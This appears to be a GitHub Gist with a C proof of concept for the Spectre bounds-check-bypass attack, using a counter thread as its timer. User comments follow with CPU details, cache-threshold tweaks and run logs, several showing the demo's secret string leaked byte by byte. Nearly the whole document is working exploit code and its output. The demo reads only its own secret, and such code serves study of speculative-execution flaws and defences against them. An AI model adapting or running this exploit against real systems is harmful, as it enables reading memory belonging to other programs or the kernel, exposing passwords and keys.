-
-
Save LionsAd/5116c9cd37f5805c797ed16fafbe93e4 to your computer and use it in GitHub Desktop.
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <stdint.h> | |
| #include <pthread.h> | |
| #ifdef _MSC_VER | |
| #include <intrin.h> /* for rdtscp and clflush */ | |
| #pragma optimize("gt",on) | |
| #else | |
| #include <x86intrin.h> /* for rdtscp and clflush */ | |
| #endif | |
| /******************************************************************** | |
| Victim code. | |
| ********************************************************************/ | |
| unsigned int array1_size = 16; | |
| uint8_t unused1[64]; | |
| uint8_t array1[160] = { | |
| 1, | |
| 2, | |
| 3, | |
| 4, | |
| 5, | |
| 6, | |
| 7, | |
| 8, | |
| 9, | |
| 10, | |
| 11, | |
| 12, | |
| 13, | |
| 14, | |
| 15, | |
| 16 | |
| }; | |
| uint8_t unused2[64]; | |
| uint8_t array2[256 * 512]; | |
| char * secret = "The Magic Words are Squeamish Ossifrage."; | |
| uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */ | |
| void victim_function(size_t x) { | |
| if (x < array1_size) { | |
| temp &= array2[array1[x] * 512]; | |
| } | |
| } | |
| /******************************************************************** | |
| Thread code | |
| ********************************************************************/ | |
| int counter_thread_ended = 0; | |
| uint32_t counter = 0; | |
| void *counter_function(void *x_void_ptr) | |
| { | |
| while (!counter_thread_ended) { | |
| counter++; | |
| } | |
| printf("counter thread finished\n"); | |
| return NULL; | |
| } | |
| /******************************************************************** | |
| Analysis code | |
| ********************************************************************/ | |
| #define CACHE_HIT_THRESHOLD (60) /* assume cache hit if time <= threshold */ | |
| /* Report best guess in value[0] and runner-up in value[1] */ | |
| void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) { | |
| static int results[256]; | |
| static uint64_t time[256]; | |
| static uint64_t num_time[256]; | |
| int tries, i, j, k, mix_i; | |
| unsigned int junk = 0; | |
| size_t training_x, x; | |
| register uint32_t time1, time2; | |
| volatile uint8_t * addr; | |
| for (i = 0; i < 256; i++) { | |
| results[i] = 0; | |
| time[i] = 0; | |
| num_time[i] = 0; | |
| } | |
| for (tries = 999; tries > 0; tries--) { | |
| /* Flush array2[256*(0..255)] from cache */ | |
| for (i = 0; i < 256; i++) | |
| _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */ | |
| /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */ | |
| training_x = tries % array1_size; | |
| for (j = 29; j >= 0; j--) { | |
| _mm_clflush( & array1_size); | |
| for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */ | |
| /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */ | |
| /* Avoid jumps in case those tip off the branch predictor */ | |
| x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */ | |
| x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */ | |
| x = training_x ^ (x & (malicious_x ^ training_x)); | |
| /* Call the victim! */ | |
| victim_function(x); | |
| } | |
| /* Time reads. Order is lightly mixed up to prevent stride prediction */ | |
| for (i = 0; i < 256; i++) { | |
| mix_i = ((i * 167) + 13) & 255; | |
| addr = & array2[mix_i * 512]; | |
| time1 = counter; /* READ TIMER */ | |
| junk = * addr; /* MEMORY ACCESS TO TIME */ | |
| time2 = counter - time1; /* READ TIMER & COMPUTE ELAPSED TIME */ | |
| time[mix_i] += time2; | |
| num_time[mix_i]++; | |
| if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size]) | |
| results[mix_i]++; /* cache hit - add +1 to score for this value */ | |
| } | |
| /* Locate highest & second-highest results results tallies in j/k */ | |
| j = k = -1; | |
| for (i = 0; i < 256; i++) { | |
| if (j < 0 || results[i] >= results[j]) { | |
| k = j; | |
| j = i; | |
| } else if (k < 0 || results[i] >= results[k]) { | |
| k = i; | |
| } | |
| } | |
| if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0)) | |
| break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */ | |
| } | |
| for (i = 0; i < 256; i++) { | |
| printf("Average time for %d: %f, hits: %d\n", i, (double) (time[i] / num_time[i]), results[i]); | |
| } | |
| results[0] ^= junk; /* use junk so code above won’t get optimized out*/ | |
| value[0] = (uint8_t) j; | |
| score[0] = results[j]; | |
| value[1] = (uint8_t) k; | |
| score[1] = results[k]; | |
| } | |
| int main(int argc, | |
| const char * * argv) { | |
| size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */ | |
| int i, score[2], len = 40; | |
| uint8_t value[2]; | |
| // Setup the counter thread. | |
| pthread_t counter_thread; | |
| if (pthread_create(&counter_thread, NULL, counter_function, NULL)) { | |
| fprintf(stderr, "Error creating thread\n"); | |
| return 1; | |
| } | |
| // End Setup | |
| for (i = 0; i < sizeof(array2); i++) | |
| array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */ | |
| if (argc == 3) { | |
| sscanf(argv[1], "%p", (void * * )( & malicious_x)); | |
| malicious_x -= (size_t) array1; /* Convert input value into a pointer */ | |
| sscanf(argv[2], "%d", & len); | |
| } | |
| printf("Reading %d bytes:\n", len); | |
| while (--len >= 0) { | |
| printf("Reading at malicious_x = %p... ", (void * ) malicious_x); | |
| readMemoryByte(malicious_x++, value, score); | |
| printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear")); | |
| printf("0x%02X=’%c’ score=%d ", value[0], | |
| (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]); | |
| if (score[1] > 0) | |
| printf("(second best: 0x%02X score=%d)", value[1], score[1]); | |
| printf("\n"); | |
| } | |
| // Start: Exit counter thread | |
| counter_thread_ended = 1; | |
| if (pthread_join(counter_thread, NULL)) { | |
| fprintf(stderr, "Error joining thread\n"); | |
| return 2; | |
| } | |
| // End: Exit counter thread | |
| return (0); | |
| } |
suse leap 42.3
vendor_id : AuthenticAMD
cpu family : 21
model : 2
model name : AMD FX(tm)-8350 Eight-Core Processor
stepping : 0
microcode : 0x600084f
works better with
#define CACHE_HIT_THRESHOLD (15)
Unclear: 0x54=’T’ score=991 (second best: 0xB4 score=990)
Unclear: 0x68=’h’ score=997 (second best: 0xB4 score=993)
Unclear: 0x65=’e’ score=996 (second best: 0xB4 score=995)
Unclear: 0xB4=’?’ score=994 (second best: 0x20 score=993)
Unclear: 0x4D=’M’ score=994 (second best: 0xB4 score=985)
Unclear: 0xB4=’?’ score=996 (second best: 0x61 score=988)
Unclear: 0x67=’g’ score=992 (second best: 0xB4 score=989)
Unclear: 0x69=’i’ score=999 (second best: 0xB4 score=992)
Unclear: 0x63=’c’ score=996 (second best: 0xB4 score=992)
Unclear: 0x20=’ ’ score=994 (second best: 0xB4 score=993)
Unclear: 0x57=’W’ score=996 (second best: 0xB4 score=994)
Unclear: 0x6F=’o’ score=998 (second best: 0xB4 score=988)
Unclear: 0x72=’r’ score=998 (second best: 0xB4 score=992)
Unclear: 0x64=’d’ score=996 (second best: 0xB4 score=991)
Unclear: 0x73=’s’ score=998 (second best: 0xB4 score=995)
Unclear: 0xB4=’?’ score=997 (second best: 0x20 score=995)
Unclear: 0x61=’a’ score=997 (second best: 0xB4 score=991)
Unclear: 0x72=’r’ score=996 (second best: 0xB4 score=993)
Unclear: 0x65=’e’ score=997 (second best: 0xB4 score=993)
Unclear: 0x20=’ ’ score=998 (second best: 0xB4 score=996)
vendor_id : GenuineIntel
cpu family : 6
model : 23
model name : Genuine Intel(R) CPU U7300 @ 1.30GHz
stepping : 10
microcode : 0xa07
./spectre_thread
Reading 40 bytes:
Reading at malicious_x = 0xffffde10... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde11... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde12... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde13... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde14... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde15... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde16... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde17... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde18... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde19... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde1a... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde1b... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde1c... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde1d... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde1e... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde1f... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde20... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde21... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde22... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde23... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde24... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde25... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde26... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffde27... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde28... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde29... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffde2a... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde2b... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde2c... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde2d... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde2e... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde2f... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde30... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde31... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde32... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffde33... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffde34... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde35... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde36... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffde37... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
counter thread finished
But non-threaded code reveals few (2-5) symbols.
vendor_id : AuthenticAMD
cpu family : 21
model : 19
model name : AMD A8-6600K APU with Radeon(tm) HD Graphics
stepping : 1
microcode : 0x6001119
works better with
#define CACHE_HIT_THRESHOLD (20)
# ./spectre-thread
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfee08... Unclear: 0x54=’T’ score=984 (second best: 0xAE score=974)
Reading at malicious_x = 0xffffffffffdfee09... Unclear: 0x68=’h’ score=977 (second best: 0x9A score=951)
Reading at malicious_x = 0xffffffffffdfee0a... Unclear: 0x65=’e’ score=951 (second best: 0xAC score=935)
Reading at malicious_x = 0xffffffffffdfee0b... Unclear: 0x20=’ ’ score=952 (second best: 0xAE score=917)
Reading at malicious_x = 0xffffffffffdfee0c... Unclear: 0x4D=’M’ score=939 (second best: 0xAA score=888)
Reading at malicious_x = 0xffffffffffdfee0d... Unclear: 0x61=’a’ score=950 (second best: 0x50 score=880)
Reading at malicious_x = 0xffffffffffdfee0e... Unclear: 0x67=’g’ score=957 (second best: 0x50 score=887)
Reading at malicious_x = 0xffffffffffdfee0f... Unclear: 0x69=’i’ score=915 (second best: 0x4E score=847)
Reading at malicious_x = 0xffffffffffdfee10... Unclear: 0x63=’c’ score=927 (second best: 0x54 score=872)
Reading at malicious_x = 0xffffffffffdfee11... Unclear: 0x20=’ ’ score=938 (second best: 0x24 score=888)
Reading at malicious_x = 0xffffffffffdfee12... Unclear: 0x57=’W’ score=971 (second best: 0xA7 score=929)
Reading at malicious_x = 0xffffffffffdfee13... Unclear: 0x6F=’o’ score=957 (second best: 0xB9 score=884)
Reading at malicious_x = 0xffffffffffdfee14... Unclear: 0x72=’r’ score=959 (second best: 0x54 score=855)
Reading at malicious_x = 0xffffffffffdfee15... Unclear: 0x64=’d’ score=912 (second best: 0x4F score=894)
Reading at malicious_x = 0xffffffffffdfee16... Unclear: 0x73=’s’ score=988 (second best: 0x82 score=972)
Reading at malicious_x = 0xffffffffffdfee17... Unclear: 0x20=’ ’ score=972 (second best: 0xAE score=958)
Reading at malicious_x = 0xffffffffffdfee18... Unclear: 0x61=’a’ score=984 (second best: 0xF3 score=969)
Reading at malicious_x = 0xffffffffffdfee19... Unclear: 0x72=’r’ score=974 (second best: 0x29 score=936)
Reading at malicious_x = 0xffffffffffdfee1a... Unclear: 0x65=’e’ score=946 (second best: 0xAE score=931)
...
vendor_id : AuthenticAMD
cpu family : 22
model : 48
model name : AMD A4-7210 APU with AMD Radeon R3 Graphics
stepping : 1
microcode : 0x7030105
Compile: gcc spectre.c -o spectre, #define CACHE_HIT_THRESHOLD 70
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfee48... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdfee49... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfee4a... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee4b... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee4c... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdfee4d... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee4e... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfee4f... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfee50... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdfee51... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee52... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdfee53... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xffffffffffdfee54... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfee55... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdfee56... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee57... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee58... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee59... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfee5a... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee5b... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee5c... Success: 0x53=’S’ score=2
Reading at malicious_x = 0xffffffffffdfee5d... Success: 0x71=’q’ score=2
Reading at malicious_x = 0xffffffffffdfee5e... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xffffffffffdfee5f... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee60... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee61... Success: 0x6D=’m’ score=2
Reading at malicious_x = 0xffffffffffdfee62... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfee63... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee64... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfee65... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee66... Success: 0x4F=’O’ score=2
Reading at malicious_x = 0xffffffffffdfee67... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee68... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee69... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfee6a... Success: 0x66=’f’ score=2
Reading at malicious_x = 0xffffffffffdfee6b... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfee6c... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee6d... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfee6e... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee6f... Success: 0x2E=’.’ score=2
I can't get this to work. counter seems to be being cached, so I get the same value for the read before and after, and time2 is always 0.
Oracle Virtual Box